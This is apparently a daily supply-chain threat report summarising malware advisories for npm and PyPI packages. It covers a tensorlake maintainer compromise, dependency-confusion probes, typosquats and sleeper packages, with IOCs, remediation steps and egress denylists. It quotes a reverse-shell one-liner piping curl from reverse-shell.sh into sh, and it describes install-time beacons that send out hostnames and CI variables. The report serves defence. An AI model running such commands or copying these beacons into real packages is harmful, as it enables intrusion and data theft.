GitHub Advisory malware sweep - 2026-10-08 (named compromise carve-out: `tensorlake@0.5.144` maintainer-account compromise; plus npm `internallib_v788` wave-3 continuation of the `internallib_v<N>` RFC1918 reverse-shell operator; new npm `troubleshooting`/`browser-metrics-plugin.contrib` dep-confusion probe from `xwise8887` with HTTP beacon to `185.158.107.175:8787`; new npm `personio-pipeline-projen` dep-confusion probe from `reaperhackbot256f` with `oast.fun`+`oastify.com` DNS/HTTPS exfil; new npm `imgbundle`+`cdn-img-fetch` img-themed sleeper cluster from `malfexteste2`; npm `function-color@1.7.3`+`function-flag@1.7.3` 2025-08-04 backfilled low-version sideload sleepers caught today; 3-package npm `@ikyyjee/ikkysingle`/`ikyysingle`/`ikyysinggle` typosquat burst; 2 Amazon-Inspector namespace-holder takedowns `windows_registry_editor`/`store-webpack-config`; and 5 CWE-506 boilerplate takedowns)

What happened

Between roughly 2026-10-07 11:00 UTC (end of yesterdays sweep window) and 2026-10-08 11:00 UTC, the GitHub Advisory Database (via OpenSSF malicious-packages, Amazon Inspectors IN-MAL feed, and kam193/bad-packages) published 20 fresh malware advisories: 19 npm and 1 pypi (the pypi one, lore-cs, straddled yesterday`s cut and is listed in both sweeps).

The dominant signal today is the tensorlake maintainer-account compromise - malicious tensorlake@0.5.144 published to npm one patch above the real TensorLake AI 0.5.143 latest and quarantined by npm security. Because the compromise affects a legitimate package with 100 published releases, four maintainers, and active CLI-shipping consumers (tl, tensorlake, function-executor, tensorlake-deploy), it is carved out into its own named record at npm-2026-10-08-tensorlake-maintainer-compromise, per the sweep carve-out rule in the schema docs.

The rest of the sweep breaks into 9 clusters by operator profile and payload family:

Carve-out: npm tensorlake@0.5.144 (compromise, critical)

GHSA-rqxj-g25x-4v9v, boilerplate CWE-506 body (no IOC published), but the operator profile is a canonical npm maintainer-account compromise: patch-above-latest, legitimate package, four TensorLake AI maintainers never issued that version. Full detail and remediation at npm-2026-10-08-tensorlake-maintainer-compromise.

Cluster A - npm internallib_v788 wave-3 continuation

internallib_v788@1.0.1 (GHSA-8pvp-4qvp-26m7, published 2026-10-08 00:51Z, quarantined 2026-10-08 01:50Z by npm@npmjs.com). The GHSA body is CWE-506 boilerplate with no fresh IOC, but on operator continuity it is wave 3 of the internallib_v<N> dep-confusion operator that shipped v275→10.0.49.106:443 on 2026-10-05 and v23/30/86/875→10.0.19.80:{443,4443,8443} on 2026-10-07 - each prior waves sibling packages exported a command() function that executed /bin/bash -c "curl https://reverse-shell.sh/<RFC1918>:<PORT> | sh" to a different RFC1918 subnet. The _v788 suffix fits the sequential naming convention. Classify dependency-confusion, severity high`.

Cluster B - npm troubleshooting+browser-metrics-plugin.contrib dep-confusion from xwise8887

Both packages published between 2026-10-07 00:01 and 00:07 UTC under npm account xwise8887; both removed from the registry entirely by takedown time (latest: None on the registry metadata). Every version carries a postinstall hook running node beacon.cjs that POSTs { hostname, installPath, cwd } to the plain-HTTP collector; index.js exports a Proxy returning no-op functions so builds that import the module keep running without errors (which keeps the beacon in-place longer).

99.0.1 as the top version and the _ah/dc collector path are typical of a bug-bounty-flavoured dep-confusion probe, but the exposure is public-npm. Classify dependency-confusion, severity medium.

Cluster C - npm personio-pipeline-projen dep-confusion from reaperhackbot256f

personio-pipeline-projen@1.171.31 (GHSA-ph63-hxpv-5cwm, OSV MAL-2026-17642, published 2026-10-07 by npm account reaperhackbot256f). The advisory itself describes the package as an "authorized dependency-confusion proof-of-concept" (the OpenSSF record), but the beacons go to externally-controlled OAST endpoints. The preinstall hook runs node canary.js:

• DNS exfiltration: encodes hostname, username, CI-variable names, and project identifiers into a DNS label and resolves <label>.db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun
• HTTPS callback: issues a GET to https://hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com

The personio-* scope and the -projen suffix (Projen is used in Personio's CI pipeline tooling) are the dep-confusion target hint. Package was removed from the registry entirely. Classify dependency-confusion, severity medium.

Cluster D - 3-package npm @ikyyjee/* typosquat burst

• @ikyyjee/ikkysingle all versions (GHSA-84vp-jj79-gp79, published 2026-10-07 15:31Z)
• @ikyyjee/ikyysingle all versions (GHSA-jq3m-36mx-2xch, published 2026-10-07 15:32Z)
• @ikyyjee/ikyysinggle all versions (GHSA-7cp5-9c7x-jc22, published 2026-10-07 15:31Z)

All three published within one minute by the same operator, all three quarantined by npm-support within 5 minutes. The three near-identical spellings (ikkysingle / ikyysingle / ikyysinggle) are an autocomplete trap. No payload analysis published. Classify typosquat, severity medium.

Cluster E - 2-package npm imgbundle+cdn-img-fetch img-themed sleeper cluster

The imgbundle@1.0.1 and cdn-img-fetch@1.0.3 releases both land at 2026-09-30 03:43Z (same minute), and imgbundle@1.0.2 and cdn-img-fetch@1.0.4 both land at 2026-09-30 23:07-23:08Z (same minute). That timing fingerprint confirms a single operator co-publishing from the same tooling. Note: cdn-img-fetch@1.0.4 is still live under its original malfexteste2 maintainer - only imgbundle has been fully quarantined, and only versions 1.0.0/1.0.3 of cdn-img-fetch are flagged in the advisory. No payload analysis published. Classify malicious-package, severity medium.

Cluster F - 2-package npm function-*@1.7.3 2025-08-04 backfilled sideload sleepers

function-flag has a legitimate 2.3.x line from 2024-06-30 and 3.0.0/4.0.0 from 2025-07-18; the attacker published 1.7.3 below 4.0.0 as a dormant low-version sideload. Any consumer with function-flag@^1 or function-flag@~1.7 or function-flag@* constraint and no lockfile pin resolves the malicious tarball while an audit of the latest dist-tag sees only 4.0.0.

The two packages share the tuamaeaquelaursa.com publisher email domain and were released 52 minutes apart on the same day in 2025. The 14-month gap between first publish and GHSA takedown confirms the dormant-sleeper playbook. No IOC body published. Classify malicious-package, severity medium.

Cluster G - 2 npm Amazon-Inspector namespace-holder takedowns

• windows_registry_editor versions 0.0.1-security, 1.0.0 (GHSA-mmx2-rhc3-vg25, OSV MAL-2025-49244, source-record identifier b0bcad8f2c4bdd8438d2826d78f285454aa72dc719c9fb7d52a74928c5b999d0)
• store-webpack-config versions 0.0.1-security, 1.0.0 (GHSA-v9x4-6r9x-f7mf, OSV MAL-2025-49241, source-record identifier 13f10add046b94b627520507423f73982964e7be0734c7b4909acee5710f1e7e)

Both packages were originally quarantined to 0.0.1-security by npm on 2025-10-29 (over 11 months ago); GHSA ingested the Amazon-Inspector detection today as formal advisories. The 64-character hex strings on these advisories are OSV source-record identifiers, not malware payload hashes - do not route them to a file-hash IOC feed. Classify malicious-package, severity medium.

Cluster H - 5 npm CWE-506 boilerplate takedowns

• tailwindcss-animatecss-keyframes all versions (GHSA-3g68-5jcj-q8rx) - typosquat of the real tailwindcss-animatecss dev-dependency (Tailwind + Animate.css adaptor)
• spf-analytics all versions (GHSA-fj97-8h42-crgr)
• random-certs all versions (GHSA-2cfv-92gp-9f6m)
• vectorizers all versions (GHSA-q8rg-7mvv-2c63)
• waie-crash-baileys all versions (GHSA-5r5f-v5vv-289q) - name suggests a WhatsApp-Baileys crash/DoS tool (the Baileys WhatsApp library is a repeat target of malicious npm "lure" packages)

All five are standard GHSA auto-ingest boilerplate: "Any computer that has this package installed or running should be considered fully compromised" with no payload hash, no network IOC, and "No known source code" preserved. All five are now npm-quarantined. Classify tailwindcss-animatecss-keyframes as typosquat; the rest as malicious-package; severity medium.

Cluster I - pypi lore-cs@1.0.0 (carried forward)

lore-cs@1.0.0 (GHSA-r95v-h8pf-wxhj, published late 2026-10-07) - OpenSSF GENERIC-hackerone-bugbounty dep-confusion probe exfiltrating IP + username on install/import. Also catalogued in yesterday's 2026-10-07 sweep under Cluster E; relisted here because the publish time (23:58 UTC) straddled the window boundary. Classify dependency-confusion, severity medium.

Registry state

All packages in this sweep except cdn-img-fetch (still live under malfexteste2 at 1.0.4) and the carved-out tensorlake (official package, legitimate maintainers in control; only the malicious 0.5.144 tarball was pulled) are registry-quarantined at time of writing. Active operator-side infrastructure named in today`s batch:

• 185.158.107.175:8787/_ah/dc plain-HTTP beacon - Cluster B (xwise8887)
• *.db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun DNS exfiltration subdomain - Cluster C (reaperhackbot256f)
• hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com HTTPS callback - Cluster C (reaperhackbot256f)
• tuamaeaquelaursa.com publisher email domain - Cluster F sleeper operator
• malfexteste2@pescaria.guinado.3o@icloud.com publisher account - Cluster E (cdn-img-fetch still live under this maintainer)
• OpenSSF GENERIC-hackerone-bugbounty campaign tag - Cluster I

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, kam193/bad-packages, npm security. Per-package IOC details drawn from GHSA advisory bodies and npm registry metadata between 2026-10-07 11:00 UTC and 2026-10-08 11:00 UTC.

Affected packages (19)

Impact

• Named carve-out - npm tensorlake@0.5.144 maintainer-account compromise (compromise, critical): tensorlake@0.5.144 was published to npm on 2026-10-08 exactly one patch above the real TensorLake AI 0.5.143 latest and quarantined by npm security the same day (GHSA-rqxj-g25x-4v9v). The upstream package is the official TensorLake AI document-ingestion / sandbox CLI/SDK (tensorlake.ai) with 100 published releases across four maintainers (diptanuc, calavera, sumit-tensorlake, cooleel). Classified compromise, severity critical, with the full IOC analysis and remediation in npm-2026-10-08-tensorlake-maintainer-compromise. This record stays listed in the sweep for discoverability from the daily index page, but the authoritative detail is in the named file
• Cluster A - npm internallib_v788 wave-3 continuation of the internallib_v<N> RFC1918 reverse-shell operator (dependency-confusion, confirmed exported reverse-shell function - same operator-profile fingerprint as yesterdays 4-package v23/30/86/875 cluster and the 2026-10-05 v275` single): internallib_v788@1.0.1 (GHSA-8pvp-4qvp-26m7, published 2026-10-08). Same internallib_v<N> naming convention and almost-certainly the same operators pentest tooling re-emerging on wave 3. The 2026-10-07 batch targeted RFC1918 10.0.19.80 across ports 443/4443/8443; the 2026-10-05 batch hit 10.0.49.106:443. The 2026-10-08 v788 advisory itself is CWE-506 boilerplate with no fresh IOC body, but on operator continuity it continues the pentest-pattern internallib_v<N> → reverse-shell.sh dep-confusion profile. Classified dependency-confusion, severity high` (operator continuity: prior sibling packages shipped confirmed reverse shells)
• Cluster B - 2-package npm troubleshooting+browser-metrics-plugin.contrib dep-confusion probe from xwise8887 with HTTP beacon to 185.158.107.175:8787/_ah/dc (dependency-confusion, confirmed install-time beacon): troubleshooting versions 0.1.0, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 3.0.0, 99.0.1 (GHSA-42gg-4m94-8m7w) and browser-metrics-plugin.contrib versions 0.0.1, 1.0.0, 1.0.1, 1.1.0, 2.0.1, 99.0.1 (GHSA-qxf4-wgfv-6mvr), both published by npm account xwise8887 between 2026-10-07 00:01-00:07 UTC. Each version carries a postinstall hook running node beacon.cjs that POSTs { hostname, installPath, cwd } in plain HTTP to http://185.158.107.175:8787/_ah/dc; index.js exports a Proxy returning no-op functions so builds that import the module keep running. OSV records MAL-2026-17641 and MAL-2026-17640 respectively. Both packages have been removed from the registry entirely. The 99.0.1 sentinel version and the _ah/dc collector path strongly suggest a bug-bounty-flavoured dep-confusion probe at a specific target org, but the probe reaches public npm and any external org with a lockfile hit is exposed. Classified dependency-confusion, severity medium (confirmed install-time hostname/path exfil, plain-HTTP collector, no second-stage disclosed)
• Cluster C - npm personio-pipeline-projen dep-confusion probe from reaperhackbot256f with oast.fun DNS exfil + oastify.com HTTPS callback (dependency-confusion, confirmed install-time credential-env recon via preinstall hook, bug-bounty flavoured): personio-pipeline-projen@1.171.31 (GHSA-ph63-hxpv-5cwm, published 2026-10-07 by npm account reaperhackbot256f). The preinstall hook runs node canary.js, which collects hostname, username, CI-variable names, and project identifiers; encodes them into a DNS label and resolves <label>.db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun (OAST canary subdomain); then also issues an HTTPS GET to hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com as a second confirmation beacon. OSV record MAL-2026-17642. Package removed from the registry entirely. The personio-* scope and the -projen suffix (Projen is Personio's pipeline tooling) imply an authorised Personio bug-bounty engagement, but any external org with a hit is exposed. Classified dependency-confusion, severity medium (confirmed install-time recon with CI-variable enumeration, no destructive payload disclosed)
• Cluster D - 3-package npm @ikyyjee/ikkysingle+@ikyyjee/ikyysingle+@ikyyjee/ikyysinggle typosquat scope-burst (typosquat, no payload analysis published): @ikyyjee/ikkysingle (GHSA-84vp-jj79-gp79), @ikyyjee/ikyysingle (GHSA-jq3m-36mx-2xch), @ikyyjee/ikyysinggle (GHSA-7cp5-9c7x-jc22) - all three versions >=0, all three published 2026-10-07 at 15:31-15:32 UTC and quarantined by npm-support within 5 minutes. Three near-identical misspellings of the same base name under the same @ikyyjee scope strongly suggest an autocomplete-trap typosquat burst at a single engineering team. Classified typosquat, severity medium (CWE-506 takedown, no published IOC)
• Cluster E - 2-package npm imgbundle+cdn-img-fetch img-themed sleeper cluster from malfexteste2 (malicious-package, inferred co-publication operator profile - time-aligned releases on 2026-09-30 and 2026-10-07, no payload analysis published): imgbundle versions 1.0.0, 1.0.1, 1.0.2 (GHSA-hj6h-6xgx-mpjv, published 2026-09-30 03:29Z / 03:43Z / 23:08Z, quarantined 2026-10-07) and cdn-img-fetch versions 1.0.0, 1.0.3 (GHSA-v3rj-w7v4-jcfx, with the still-live maintainer-controlled cdn-img-fetch@1.0.3 published 2026-09-30 03:43Z and 1.0.4 published 2026-09-30 23:07Z under malfexteste2@pescaria.guinado.3o@icloud.com). The release times line up to the minute between imgbundle@1.0.1 (2026-09-30 03:43Z) and cdn-img-fetch@1.0.3 (2026-09-30 03:43Z), and between imgbundle@1.0.2 (2026-09-30 23:08Z) and cdn-img-fetch@1.0.4 (2026-09-30 23:07Z) - these are co-published from the same tooling. Only imgbundle has been fully quarantined; cdn-img-fetch is still live under its original maintainer at 1.0.4. The -img- theme is a dev-tooling / CDN lure. Classified malicious-package, severity medium (co-publication timing confirms shared operator; no IOC body published yet)
• Cluster F - 2-package npm function-color@1.7.3+function-flag@1.7.3 backfilled low-version sideload sleepers (malicious-package, dormant for 14 months before takedown): function-color versions 1.0.0 and 1.7.3 (GHSA-m6cg-6crx-mggv, with 1.0.0 published 2025-07-18 02:39Z and 1.7.3 published 2025-08-04 18:20Z, both quarantined 2026-10-07) and function-flag@1.7.3 (GHSA-ggcg-4pv7-wf9m, published 2025-08-04 17:28Z under maintainer jessica-fruett@tuamaeaquelaursa.com). function-flag has a legitimate 2.3.x line from 2024-06-30 and 3.0.0/4.0.0 from mid-July 2025, so the attacker published the malicious 1.7.3 below the latest 4.0.0 as a low-version sideload - a consumer with function-flag@^1 or function-flag@~1.7 resolves the malicious tarball while an audit against the latest dist-tag sees only 4.0.0. The time alignment between function-flag@1.7.3 (2025-08-04 17:28Z) and function-color@1.7.3 (2025-08-04 18:20Z) and the shared tuamaeaquelaursa.com publisher email domain mark the two as a single operator. The 14-month gap between first publish and GHSA takedown confirms the dormant-sleeper playbook. No IOC body published yet. Classified malicious-package, severity medium (dormant for 14 months, low-version sideload fingerprint, no destructive payload disclosed)
• Cluster G - 2 npm Amazon-Inspector namespace-holder takedowns windows_registry_editor+store-webpack-config (malicious-package, no payload analysis published - the SHA-256 hashes in GHSA are OSV source-record identifiers not malware payload hashes): windows_registry_editor versions 0.0.1-security, 1.0.0 (GHSA-mmx2-rhc3-vg25, source identifier b0bcad8f2c4bdd8438d2826d78f285454aa72dc719c9fb7d52a74928c5b999d0, OSV MAL-2025-49244) and store-webpack-config versions 0.0.1-security, 1.0.0 (GHSA-v9x4-6r9x-f7mf, source identifier 13f10add046b94b627520507423f73982964e7be0734c7b4909acee5710f1e7e, OSV MAL-2025-49241). Both packages were originally quarantined to 0.0.1-security by npm on 2025-10-29; GHSA ingested the Amazon-Inspector detection a year later on 2026-10-07 as formal advisories. No live malicious tarball on the registry today. Classified malicious-package, severity medium (year-old npm-held namespace, Amazon-Inspector sourced, no fresh exposure window)
• Cluster H - 5 npm CWE-506 boilerplate takedowns, all >=0 all-versions npm-quarantined, no IOCs published: tailwindcss-animatecss-keyframes (GHSA-3g68-5jcj-q8rx - typosquat of the real tailwindcss-animatecss dev-dependency, autocomplete trap for Tailwind + Animate.css users), spf-analytics (GHSA-fj97-8h42-crgr), random-certs (GHSA-2cfv-92gp-9f6m), vectorizers (GHSA-q8rg-7mvv-2c63), waie-crash-baileys (GHSA-5r5f-v5vv-289q - name suggests a WhatsApp-Baileys crash/DoS tool, which maps to a known category of malicious npm "lures" against the Baileys WhatsApp library user base). Classified respectively typosquat+malicious-package+malicious-package+malicious-package+malicious-package, severity medium (CWE-506 takedown with no published analysis)
• Cluster I - pypi lore-cs@1.0.0 HackerOne-bugbounty dep-confusion probe (dependency-confusion, confirmed install/import-time IP+username beacon, PROBABLY_BUGBOUNTY labelled by OpenSSF - carried forward from end-of-window on 2026-10-07): lore-cs@1.0.0 (GHSA-r95v-h8pf-wxhj, published 2026-10-07 23:58 UTC, falls within todays window). OpenSSF campaign tag GENERIC-hackerone-bugbounty. Also listed in [yesterday's 2026-10-07 sweep](/incident/multi-2026-10-07-ghsa-malware-sweep) under Cluster E; relisted here because it lands in both windows. Classified dependency-confusion, severity medium`
• Operator continuity check: todays dominant story is the **tensorlake maintainer compromise**, carved out into its own named record above. On the sweep side, the only wave-N continuation is the **internallib_v<N> operator** (Cluster A), now at wave 3 - 2026-10-05 shipped v275→10.0.49.106, 2026-10-07 shipped v23/30/86/875→10.0.19.80, 2026-10-08 ships v788. The **Wix dep-confusion operator** (yesterdays Cluster B with css-jptvix-polyfill + appsecc.com/js), the jsonspack.com pino-impersonator (yesterdays Cluster A hardhat-init), the **Pinecone tarball-URL RCE operator** (yesterdays Cluster C @pinecone-experience/messages), the 2026-10-05 broader operator profiles (hellscripter/gitflic.ru, Oleh-Modal wallet-phishing, 4444.vbs ChaCha20 loader), the RubyGems Ethereum/crypto wgkit cluster, the zencleaner/virgil-cli 2026-10-06 operators, the 2026-10-voxeval cryptominer campaign, and the amel10, jexkcode/noverojs, spo365-graph, Graphalgo, donutautosellsrc/aseity*, kartyk*, tailwind-forms-kit, chinazhangsan.ccwu.cc, bfox-build-utils, fabric-loader-core/mfahelper, zeal-utils/aveliscare operators are all QUIET today

What to do

1. 1For the carved-out tensorlake@0.5.144 maintainer compromise: see the dedicated record at npm-2026-10-08-tensorlake-maintainer-compromise for the full remediation walk-through. Short version: pin tensorlake to 0.5.143 exact, grep lockfiles and node_modules for 0.5.144, treat any installer host that resolved 0.5.144 as potentially executed-against, rotate npm/GitHub/cloud credentials, and flush any mirror cache that holds the removed tarball
2. 2For Cluster A (internallib_v788): continuation of the pentest-pattern internallib_v<N> dep-confusion probe. If your org publishes under an internallib_v<N> internal name, scope-lock the internal registry and hold the public name with a placeholder. If a prior sweep (v275, v23/30/86/875) is already in your denylist entry, add v788 to the same entry under the same operator profile
3. 3For Cluster B (troubleshooting+browser-metrics-plugin.contrib xwise8887): grep lockfiles for both names. On hit, assume install-time beacon fired to http://185.158.107.175:8787/_ah/dc. Add 185.158.107.175:8787 to the CI/build-host egress denylist. The _ah/dc path and plain-HTTP transport mark the operator as either a bug-bounty engagement at a specific target OR a crude recon operator - either way, uninstall, delete node_modules, delete the lockfile, and rebuild from a scope-locked internal registry. If your org publishes an internal troubleshooting or browser-metrics-plugin.contrib name, hold the public slug with a placeholder package
4. 4For Cluster C (personio-pipeline-projen reaperhackbot256f): grep lockfiles for personio-pipeline-projen. On hit, assume install-time recon fired: hostname, username, CI-variable names, and project identifiers were DNS-exfiltrated to *.db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun and HTTPS-beaconed to hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com. Add *.oast.fun apex and *.oastify.com apex to the CI/build-host egress denylist (unless your org legitimately runs OAST or Burp Collaborator engagements - in which case scope the block to all operator subdomains that are NOT yours). Rotate any env-exported credentials. If your orgs Personio pipeline tooling publishes under personio-pipeline-*` internal names, hold the public slug with a placeholder
5. 5*For Cluster D (`@ikyyjee/ typosquat burst)**: grep lockfiles for the three names (@ikyyjee/ikkysingle, @ikyyjee/ikyysingle, @ikyyjee/ikyysinggle`). On hit, uninstall. No specific IOC published, so no egress blocklist entry today. Teach the real target spelling once identified (the three variants bracket a central spelling of "ikyysingle" / "ikkysingle")
6. 6For Cluster E (imgbundle+cdn-img-fetch img-themed cluster, malfexteste2): grep lockfiles for imgbundle at 1.0.0/1.0.1/1.0.2 and cdn-img-fetch at 1.0.0/1.0.3. On hit, uninstall. Note: cdn-img-fetch is still live on npm under its original maintainer at 1.0.4 - treat the whole package as suspect and pin away from this maintainer. If your org publishes any *-img-* or cdn-* dev-tooling under internal names, scope-lock the internal registry. No specific network IOC published yet
7. 7For Cluster F (function-color@1.7.3+function-flag@1.7.3 2025-08-04 sleepers): grep lockfiles for function-color at 1.0.0/1.7.3 and function-flag at 1.7.3. On hit, uninstall. Note the low-version-sideload fingerprint: function-flag has a legitimate 2.3.x/3.0.0/4.0.0 line; attackers published 1.7.3 BELOW latest to catch consumers with function-flag@^1 or ~1.7 constraints. Audit any dependency manifest that pins function-flag to a ^1 range and move it to ^4 or exact-version. Treat the tuamaeaquelaursa.com publisher email domain as suspect for the broader denylist
8. 8For Cluster G (windows_registry_editor+store-webpack-config namespace holders): no live exposure window - these are npm security namespace holds from 2025-10-29 that GHSA formalised today. The 64-character hex values in the GHSA advisories (b0bcad8f… and 13f10add…) are OSV source-record SHA-256 identifiers from ossf/malicious-packages, NOT malware payload hashes - do not add them to an IOC feed as file-hash blocks. If the names appear in a lockfile, uninstall and move on
9. 9For Cluster H (CWE-506 boilerplate takedowns): grep lockfiles for tailwindcss-animatecss-keyframes, spf-analytics, random-certs, vectorizers, waie-crash-baileys. On hit, uninstall, delete node_modules, delete lockfile, rebuild. tailwindcss-animatecss-keyframes typosquats the real tailwindcss-animatecss Tailwind dev-dependency - teach the real spelling. waie-crash-baileys is name-suggestive of a WhatsApp-Baileys DoS tool and should be treated as a Baileys-ecosystem lure (same category as prior Baileys-themed malicious packages)
10. 10For Cluster I (lore-cs pypi): grep every requirements.txt, pyproject.toml, Pipfile.lock, poetry.lock for lore-cs. On hit, uninstall. If this was in fact a HackerOne bug-bounty engagement your org commissioned, de-register the probe. No destructive payload disclosed
11. 11NEW outbound denylist entries for CI/build-host egress proxies today: 185.158.107.175:8787 and the /_ah/dc path (Cluster B HTTP beacon); *.oast.fun apex and *.oastify.com apex if not legitimately used by in-house red-team (Cluster C DNS/HTTPS beacon). Keep prior egress blocks in place: appsecc.com (2026-10-07 Cluster B), *.oastify.com already pre-listed from 2026-10-07, ltidi.storage.googleapis.com and storage.googleapis.com/depenconf/ (2026-10-07 Cluster C), 10.0.19.0/24 and 10.0.49.0/24 (2026-10-07 Cluster D and 2026-10-05 Cluster F reverse-shells), api.nm-streetwear.space and apex (2026-10-06 Cluster B), discord.com/api/webhooks (unless legitimately used), ipify.org + ifconfig.me, gitflic.ru, api.wagmiwallet.org (2026-10-05 Cluster I), backend-cybersecuritydashboard.onrender.com (2026-10-05 Cluster G), Monero mining pools (2026-10-04 Cluster A voxeval), Ethereum mainnet / Sepolia / Arbitrum Sepolia RPC, chinazhangsan.ccwu.cc, api.npoint.io, api.telegram.org, fabric-npm.gm-service.xyz, jsonkeeper.com, trktgq0wbre1, npm-canary.aveliscare.com, Polygon RPC, meta.brs.cx, s3://pkusinski-external/, AWS account 631484165566, Slack bot-token exfil, s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook, and the 45.138.0.0/16 RubyGems wgkit CIDRs

References

• GitHub Advisory Database - recent malware advisories

  github.com
  GitHub
• DependencyWatch: tensorlake maintainer-account compromise (named carve-out)

  dependencywatch.io
• GHSA-rqxj-g25x-4v9v - npm tensorlake 0.5.144 (carve-out, see named record)

  github.com
  GitHub
• GHSA-8pvp-4qvp-26m7 - npm internallib_v788 (Cluster A - RFC1918 reverse-shell operator wave 3)

  github.com
  GitHub
• GHSA-42gg-4m94-8m7w - npm troubleshooting (Cluster B - xwise8887 dep-confusion with 185.158.107.175:8787 beacon)

  github.com
  GitHub
• GHSA-qxf4-wgfv-6mvr - npm browser-metrics-plugin.contrib (Cluster B - xwise8887 dep-confusion with 185.158.107.175:8787 beacon)

  github.com
  GitHub
• GHSA-ph63-hxpv-5cwm - npm personio-pipeline-projen (Cluster C - reaperhackbot256f dep-confusion with oast.fun + oastify.com beacon)

  github.com
  GitHub
• GHSA-84vp-jj79-gp79 - npm @ikyyjee/ikkysingle (Cluster D - 3-package typosquat burst)

  github.com
  GitHub
• GHSA-jq3m-36mx-2xch - npm @ikyyjee/ikyysingle (Cluster D)

  github.com
  GitHub
• GHSA-7cp5-9c7x-jc22 - npm @ikyyjee/ikyysinggle (Cluster D)

  github.com
  GitHub
• GHSA-hj6h-6xgx-mpjv - npm imgbundle (Cluster E - img-themed sleeper, malfexteste2 operator)

  github.com
  GitHub
• GHSA-v3rj-w7v4-jcfx - npm cdn-img-fetch (Cluster E - still-live sibling package)

  github.com
  GitHub
• GHSA-m6cg-6crx-mggv - npm function-color 1.7.3 (Cluster F - 2025-08-04 backfilled low-version sideload sleeper)

  github.com
  GitHub
• GHSA-ggcg-4pv7-wf9m - npm function-flag 1.7.3 (Cluster F - 2025-08-04 backfilled low-version sideload sleeper)

  github.com
  GitHub
• GHSA-mmx2-rhc3-vg25 - npm windows_registry_editor (Cluster G - Amazon-Inspector namespace-holder)

  github.com
  GitHub
• GHSA-v9x4-6r9x-f7mf - npm store-webpack-config (Cluster G - Amazon-Inspector namespace-holder)

  github.com
  GitHub
• GHSA-3g68-5jcj-q8rx - npm tailwindcss-animatecss-keyframes (Cluster H - Tailwind + Animate.css typosquat)

  github.com
  GitHub
• GHSA-fj97-8h42-crgr - npm spf-analytics (Cluster H - CWE-506 boilerplate)

  github.com
  GitHub
• GHSA-2cfv-92gp-9f6m - npm random-certs (Cluster H - CWE-506 boilerplate)

  github.com
  GitHub
• GHSA-q8rg-7mvv-2c63 - npm vectorizers (Cluster H - CWE-506 boilerplate)

  github.com
  GitHub
• GHSA-5r5f-v5vv-289q - npm waie-crash-baileys (Cluster H - Baileys-themed lure, CWE-506 boilerplate)

  github.com
  GitHub
• GHSA-r95v-h8pf-wxhj - pypi lore-cs (Cluster I - OpenSSF GENERIC-hackerone-bugbounty, carried forward)

  github.com
  GitHub
• DependencyWatch: multi-2026-10-07-ghsa-malware-sweep (prior-day context: internallib_v<N> wave 2, Wix dep-confusion, Pinecone tarball-URL)

  dependencywatch.io